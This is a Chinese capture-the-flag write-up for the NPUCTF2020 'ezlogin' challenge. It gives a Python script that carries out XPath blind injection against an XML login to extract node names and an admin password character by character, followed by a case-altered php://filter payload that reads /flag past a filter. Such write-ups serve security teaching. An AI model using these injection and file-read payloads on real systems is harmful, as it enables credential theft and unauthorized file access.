[NPUCTF2020]ezlogin

知识点:xml中的xpath盲注

分析

根据请求可以看出这应该是一个 xml 格式的数据。
在这里插入图片描述
利用 xpath 盲注,结合 xpath 语法一个一个节点的查。

poc

import requests
from lxml import etree
import time
url = 'http://1fae3303-ca93-435e-b1b4-d18cbfd99948.node4.buuoj.cn:81/login.php'

str = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_'

name = ''

for i in range(1,50):
    for j in str:
        time.sleep(0.1)
        s = requests.session()
        req = s.post(url)
        req.encoding = 'utf-8'
        html = etree.HTML(req.text)
        token = html.xpath('//div[@class="form"]/input[@id="token"]/@value')
        token = "".join(token)

        #盲注根节点
        #payload = f"'or substring(name(/*[1]), {i}, 1)='{j}'  or ''='"

        # 判断root子节点数量,其他同理
        #payload = "'or count(/root/*)=1  or ''='"
        #猜子节点
        #payload = f"'or substring(name(/root/*[1]), {i}, 1)='{j}'  or ''='"

        #payload = f"'or substring(name(/root/accounts/*[1]), {i}, 1)='{j}'  or ''='"

        #判断user节点数量
        #payload = "'or count(/root/accounts/user)=2  or ''='"

        #判断user子节点数量
        #payload = "'or count(/root/accounts/user[2]/*)=3  or ''='"

        #盲注user子节点名字
        #payload = f"'or substring(name(/root/accounts/user[2]/*[3]), {i}, 1)='{j}'  or ''='"

        #用户名
        #payload = f"'or substring(/root/accounts/user[2]/username/text(), {i}, 1)='{j}'  or ''='"

        #密码
        payload = f"'or substring(/root/accounts/user[2]/password/text(), {i}, 1)='{j}'  or ''='"
        data = f"<username>{payload}</username><password>admin</password><token>{token}</token>"
        headers = {
            'Content-Type': 'application/xml'
        }
        req_name = s.post(url,data=data,headers=headers)
        #print(req_name.text)
        if '非法操作' in req_name.text:
            name += j
            print(name)
            break

但是没想到密码还是一个付费的 MD5 解密。

adm1n
gtfly123

登录后可以看到一个 file 参数,那么直接伪协议先读一遍呗。
在这里插入图片描述
测试后发现有过滤,但是不多,可以用大写绕过,对返回的数据也有过滤,可以用过滤器绕过。

PHP://filter/string.toupper/resource=/flag

最后把 flag 转换为小写就可以了。
在这里插入图片描述

reference

https://xz.aliyun.com/t/7791#toc-6
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值